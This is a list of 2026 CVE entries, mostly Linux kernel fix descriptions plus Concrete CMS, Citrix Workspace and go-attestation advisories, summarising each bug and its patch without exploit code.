CVE-2026-89765	In the Linux kernel, the following vulnerability has been resolved: timers/itimer: Zero-init old itimerval before copy to userspace On native sparc64, struct __kernel_old_timeval contains a four-byte hole after tv_usec because tv_sec is 64-bit while __kernel_suseconds_t is 32-bit. put_itimerval() fills only the named fields in a stack-allocated __kernel_old_itimerval and copies the entire object to userspace, so getitimer() can expose the two padding holes. Zero-initialize the aggregate before assigning the fields so implicit padding is deterministic before it crosses the user/kernel boundary.	N/A	More Details
CVE-2026-68526	Concrete CMS before 9.5.3 did not validate an anti-CSRF token in the Calendar event duplicate dialog controller (concrete/controllers/dialog/event/duplicate.php) submit() action, which duplicated a calendar event after checking only canAccess() and the per-resource canAddCalendarEvent() permission, so a crafted cross-site request could cause an authenticated user with add-event permission to create duplicate CalendarEvents and CalendarEventVersions records under their own authority. The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 5.3 with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N. Thanks Winston Crooker for reporting.	N/A	More Details
CVE-2026-78546	Out-of-bounds read vulnerability in Citirx Workspace app for Windows. This issue affects Workspace app for Windows: before 2603.11 Current Release (CR), before 2507.1 LTSR CU3, and before LTSR 2607.	N/A	More Details
CVE-2026-78547	Out-of-bounds write vulnerability in Citrix Citrix Workspace app for Windows. This issue affects Citrix Workspace app for Windows: before 2603.11 Current Release (CR), before 2507.1 LTSR CU3, and before LTSR 2607.	N/A	More Details
	In the Linux kernel, the following vulnerability has been resolved: timekeeping: Check the return value of tk_get_aux_ts64 in __do_adjtimex() If the auxiliary clock is disabled during tk_get_aux_ts64() but is enabled		

CVE-2026-80927	before tks->clock_valid is checked, then uninitialized stackdata will be used in the calculations and indirectly leaked to userspace. The same race window also exists after this change and also for the core timekeeper. But in these cases the only effect would be incorrect adjustments and this is userspace's responsibility to avoid this.	N/A	More Details
CVE-2026-80930	In the Linux kernel, the following vulnerability has been resolved: tpm: tpm_i2c_nuvoton: disable IRQ on wait timeout i2c_nuvoton_wait_for_stat() enables the IRQ before waiting for the interrupt handler to report a status change. If the wait times out, or is interrupted before the handler runs, the function returns without balancing the enable_irq() call. Disable the IRQ before leaving the failed wait path. Also preserve an interrupted wait's original error code instead of converting it to -ETIMEDOUT inside the helper.	N/A	More Details
CVE-2026-89759	In the Linux kernel, the following vulnerability has been resolved: mm/kmemleak: avoid soft lockup when scanning task stacks Patch series "mm/kmemleak: avoid soft lockup when scanning task", v3. kmemleak_scan() scans every task stack under one rcu_read_lock() with no reschedule point, which can trip the soft lockup watchdog on hosts with very many threads. That prints the following message, depending on the workload+host configuration: watchdog: BUG: soft lockup - CPU#35 stuck for 22s! [kmemleak:537] scan_block kmemleak_scan kmemleak_scan_thread kthread Patch 1 walks the tasks with find_ge_pid() so the scan reschedules between tasks Patches 2-3 let the scan loops stop early once a scan is interrupted. This patch (of 3): kmemleak_scan() walks every thread and scans its kernel stack under a single rcu_read_lock() with no reschedule point. On a host with very many threads -- amplified by KASAN/lockdep in debug builds -- this loop can hog a CPU long enough to trip the soft lockup watchdog: watchdog: BUG: soft lockup - CPU#35 stuck for 22s! [kmemleak:537] scan_block kmemleak_scan kmemleak_scan_thread kthread A cond_resched() cannot be added directly: the loop runs inside an RCU read-side critical section. Walk the tasks one PID at a time with find_ge_pid(), taking the RCU read lock only to look up and pin each task. The stack is then scanned with no lock held, so cond_resched() runs between tasks and the scan stops early on scan_should_stop(). This follows the next_tgid()/task_seq_get_next() iteration pattern and keeps each RCU critical section short.	N/A	More Details
CVE-2026-80934	In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7996: fix TX DMA mapping leak for AddBA req frames mt7996/mt7992 hand the firmware a HW MAC-TXP for AddBA req action frames (MT_TXD7_MAC_TXD, set in mt7996_mac_write_txwi_80211()), but are otherwise FW-TXP devices. On tx free mt76_connac_txp_skb_unmap() therefore decodes the per-frame txp as a struct mt76_connac_fw_txp. For a MAC-TXP the fw_txp.nbuf byte aliases the AddBA TID word (MT_TXP1_TID_ADDBA), which is always zero, so the unmap loop runs zero times and the skb DMA mapping in buf[1] is never unmapped. buf[1].skip_unmap is set unconditionally, so the generic DMA-ring cleanup skips it as well. Each AddBA req therefore leaks one TX DMA mapping, roughly one per (re)association. With WED enabled these mappings are bounced through the WED swiotlb pool, so under continuous client reconnect churn the pool is exhausted after ~1-2 days, after which DMA mapping fails for WED, the WiFi MCU and other on-SoC consumers. Keep the deferred (token release) unmap that the design relies on, and add an mt7996-specific txp unmap that inspects MT_TXD7_MAC_TXD and unmaps buf[1] from the MAC-TXP layout for those frames, delegating to mt76_connac_txp_skb_unmap() otherwise.	N/A	More Details
CVE-2026-89757	In the Linux kernel, the following vulnerability has been resolved: mm/mglru: fix and remove redundant unevictable folio handling sort_folio() has a shortcut for moving folios that are no longer evictable but are still sitting on a generation list. However, this shortcut is buggy. It does not follow the PG_lru usage convention, and it has a more serious issue. Unevictable folios are not threaded on lists[LRU_UNEVICTABLE], so that folio->lru can be reused to hold folio->mlock_count (see the comment in lruvec_init()). Hence lruvec_add_folio() skips the list_add() for them, and every other place that turns a folio unevictable initialises mlock_count explicitly: lru_add() sets it to 0, __mlock_folio() and __mlock_new_folio() set it to !!folio_test_mlocked(folio). sort_folio() sets nothing, and the lru_gen_del_folio() right above it may have already poisoned folio->lru via list_del(), so mlock_count ends up aliasing LIST_POISON2, which reads as 0x122, i.e. 290. The result is user visible. On munlock, __munlock_folio() decrements that bogus count, finds it still non-zero and bails out before clearing PG_mlocked, so the folio remains unevictable and the Mlocked accounting stays inflated until the folio is freed. The shortcut also touches the LRU flags in the wrong order. It calls lru_gen_del_folio() while PG_lru is still set, so a concurrent folio_test_clear_lru() (e.g. compaction, folio_isolate_lru()) can succeed on a folio that has already been taken off the generation list, which may lead to unexpected behavior. So fix it by isolating them as common folios and letting the generic shrink path cull them. This matches the classical LRU behavior, and there should be no visible effect on the generic eviction or isolation behavior. There is no performance concern either, such a folio goes through this once, and then it is off the generation lists for good.	N/A	More Details
CVE-2026-89756	In the Linux kernel, the following vulnerability has been resolved: mm/migrate: report RCU-tasks quiescent states in migrate_pages_batch() migrate_pages_batch() unmaps each folio before moving it, and every unmap runs the mmu_notifier invalidate callbacks. On KVM hosts try_to_migrate() ends up in kvm_mmu_notifier_invalidate_range_start() -> tdp_mmu_zap_leafs(), which is expensive, so unmapping a large batch keeps the CPU busy for a long time. The loop already calls cond_resched(), but on PREEMPTION kernels that is a no-op, and involuntary preemption is not a Tasks-RCU quiescent state. A long batch therefore never reports a quiescent state, and the migrating task (e.g. kcompactd) becomes a Tasks-RCU holdout, stalling the Tasks-RCU grace period for minutes, which is common at Meta fleet: INFO: rcu_tasks detected stalls on tasks: 0000000055349ecc: .. nvcsw: 1157401/1157401 holdout: 1 idle_cpu: -1/56 task:kcompactd0 state:R running task Call Trace: tdp_mmu_zap_leafs tdp_mmu_next_root	N/A	More Details

	gfn_to_pfn_cache_invalidate_start kvm_mmu_notifier_invalidate_range_start __mmu_notifier_invalidate_range_start try_to_migrate_one try_to_migrate migrate_pages_batch migrate_pages compact_zone compact_node kcompactd kthread Use cond_resched_tasks_rcu_qs() so a quiescent state is reported even when cond_resched() does nothing. This has also been discussed at [1]		
CVE-2026-80938	In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7615: avoid waiting for mac work under the mt76 mutex mt7615_suspend() acquired the mt76 mutex and then called cancel_delayed_work_sync() on mac_work. mt7615_mac_work() acquires the same mutex via mt7615_mutex_acquire() at the top of the worker, so if mac_work is already running and blocked on the mutex, the suspend path deadlocks waiting for the work it holds the mutex against. Flush scan_work and mac_work before taking the mutex, matching the suspend paths in mt7921 and mt7925. scan_work only takes the mt76 spinlock, but moving it keeps the sequence consistent. This also keeps mac_work from running over an already suspended HIF, which the previous split (async cancel under the lock, sync cancel after release) would have allowed.	N/A	More Details
CVE-2026-80939	In the Linux kernel, the following vulnerability has been resolved: wifi: rtw89: pci: add .shutdown callback to stop rfkill polling on reboot Since the hardware rfkill polling was introduced, arm64 platforms can panic with an asynchronous SError during warm reboot: SError Interrupt on CPU8, code 0x00000000be000011 -- SError Workqueue: events_power_efficient rfkill_poll [rfkill] rtw89_pci_ops_read8+0x94/0x160 [rtw89_pci] rtw89_core_rfkill_poll+0x50/0x1e0 [rtw89_core] rtw89_ops_rfkill_poll+0x40/0x68 [rtw89_core] ieee80211_rfkill_poll+0x3c/0x70 [mac80211] cfg80211_rfkill_poll+0x40/0x2a0 [cfg80211] rfkill_poll+0x30/0x88 [rfkill] Kernel panic - not syncing: Asynchronous SError Interrupt On the reboot path the kernel only runs device_shutdown(), which calls each driver's .shutdown callback; .remove is not invoked. The rtw89 PCI driver had no .shutdown callback, so nothing stopped the rfkill polling work while the platform was tearing the PCIe link down. Once the link is gone, the next MMIO read from the poll handler targets a non-responding device and is reported as a fatal asynchronous SError on arm64. Add rtw89_pci_shutdown(), wired to all rtw89 PCI device drivers, which sets a new RTW89_FLAG_SHUTDOWN flag (mirroring the USB RTW89_FLAG_UNPLUGGED pattern). When the flag is set, rtw89_ops_rfkill_poll() returns early, so no MMIO read is issued to the chip after shutdown begins and the SError no longer occurs. This does not call the full .remove path from .shutdown, to keep the shutdown handler minimal and avoid running the non-idempotent teardown twice.	N/A	More Details
CVE-2026-89753	In the Linux kernel, the following vulnerability has been resolved: mm/vmscan: report RCU-tasks quiescent states in shrink_lruvec() I am seeing some rcu_tasks stalls in the Meta fleet during reclaim. INFO: rcu_tasks detected stalls on tasks: 0000000088620d09: .. nvcsw: 6735/6735 holdout: 1 idle_cpu: -1/8 task:GlobalCPUThread state:R running task pid:2552016 tgid:2524552 Call Trace: shrink_lruvec mem_cgroup_iter shrink_node do_try_to_free_pages try_to_free_pages __alloc_frozen_pages_noprof alloc_pages_noprof pte_alloc_one __pte_alloc handle_mm_fault Nothing promises direct reclaim returns in bounded time, and the scan loop in shrink_lruvec() only calls cond_resched(), which is a no-op on PREEMPTION kernels. Involuntary preemption is not a Tasks-RCU quiescent state, so the reclaiming task never reports one and becomes a holdout. Upgrade it to cond_resched_tasks_rcu_qs(), which reports a quiescent state even when cond_resched() does nothing. PS: This has been discussed in [1]	N/A	More Details
CVE-2026-89752	In the Linux kernel, the following vulnerability has been resolved: mm: memcg: stop reclaim when a limit update is superseded kernfs serializes file operations only per open file, so separate open files can update the same memory.high or memory.max file concurrently. Both handlers store the new limit before synchronous reclaim, but continue to use the writer's local target in the reclaim loop. If another writer raises or removes the limit, the first writer can continue reclaiming toward a stale target. For memory.max, this can leave the writer looping indefinitely once reclaim retries are exhausted. The OOM path sees sufficient margin under the current limit and returns true without killing, while the writer still compares usage against its stale target and records another OOM event. Check the current limit at the start of each reclaim iteration and stop if it no longer matches the writer's target. Reproducer: Populate a cgroup with anonymous memory and disable swapping. Lower memory.max from one open file, then restore it to "max" through another open file after the new limit becomes visible. Without the patch, the first writer remains blocked and repeatedly increments the OOM event counter. With the patch, it returns normally. This was not motivated by a reported production workload. We found it through automated randomized testing for our cgroup observability work and reduced it to the reproducer above.	N/A	More Details
CVE-2026-89751	In the Linux kernel, the following vulnerability has been resolved: x86/tdx: Fix off-by-one in port I/O handling handle_in() and handle_out() in arch/x86/coco/tdx/tdx.c use: u64 mask = GENMASK(BITS_PER_BYTE * size, 0); GENMASK(h, l) includes bit h. For size=1 (INB), this produces GENMASK(8, 0) = 0x1FF (9 bits) instead of GENMASK(7, 0) = 0xFF (8 bits). The mask is one bit too wide for all I/O sizes. Fix the mask calculation.	N/A	More Details
CVE-2026-80940	In the Linux kernel, the following vulnerability has been resolved: wifi: rtw88: pci: fix resource leak on failed NAPI setup rtw_pci_probe() allocates PCI resources through rtw_pci_setup_resource() before it sets up NAPI. If rtw_pci_napi_init() fails, the error path jumps straight to err_pci_declaim and skips rtw_pci_destroy(), leaving the PCI resources allocated by rtw_pci_setup_resource() behind. Add a dedicated cleanup label for the NAPI setup failure path so probe destroys the PCI resources. The bug was first flagged by an experimental analysis tool we are developing for kernel memory-management bugs while analyzing current mainline kernels. The tool is still under development and is not yet publicly available. Manual inspection confirms that the bug is	N/A	More Details

	still present in v7.1-rc7. An x86_64 allyesconfig build showed no new warnings. As we do not have a suitable rtw88 PCI board to test with, no runtime testing was able to be performed.		
CVE-2026-89749	In the Linux kernel, the following vulnerability has been resolved: tracing: Fix crash passing ERR_PTR to kthread_stop() event_test_stuff() calls kthread_run() and unconditionally passes the returned task_struct pointer to kthread_stop(). kthread_run() returns an error pointer such as ERR_PTR(-ENOMEM) when kthread creation fails, for example under memory pressure during the boot-time event self-test. kthread_stop() then dereferences the invalid pointer, crashing the kernel. Check the result of kthread_run() before passing it to kthread_stop(). Use WARN_ON() so that a failure to create the self-test thread does not go unnoticed, matching the ring-buffer self-test fix in commit 91542863abad ("ring-buffer: Fix crash passing ERR_PTR to kthread_stop()").	N/A	More Details
CVE-2026-80941	In the Linux kernel, the following vulnerability has been resolved: wifi: rtw88: Fix potential memory leak in rtw_txq_push_skb() The skb passed to the rtw_hci_tx_write() is expected to be freed when the function fails, but the error path in rtw_txq_push_skb() does not free the skb before returning. This can lead to a memory leak in rtw_txq_push() where a dequeued skb is passed to rtw_txq_push_skb().	N/A	More Details
CVE-2026-80942	In the Linux kernel, the following vulnerability has been resolved: wifi: rtlwifi: rtl8192du: Fix possible memory leak in rtl92du_init_sw_vars() The memory allocated inside rtl92du_init_shared_data() is not freed in any of the subsequent error paths in rtl92du_init_sw_vars(). Fix that by adding a call to rtl92du_deinit_shared_data() in the error path.	N/A	More Details
CVE-2026-19201	An uncontrolled recursion vulnerability in the Windows SIPA event log parser of Google go-attestation versions up to and including 0.6.1 allows an attacker to cause a denial of service (DoS). The (*WinEvents).readELAMAggregation function recurses for every nested elamAggregation sub-event without enforcing a maximum recursion depth limit, while the size guard is bypassed on recursive execution paths. By submitting a crafted Windows event log containing deeply nested elamAggregation headers, an attacker can exhaust the goroutine call stack, triggering an unrecoverable fatal runtime error (stack overflow) that immediately crashes the verifier application.	N/A	More Details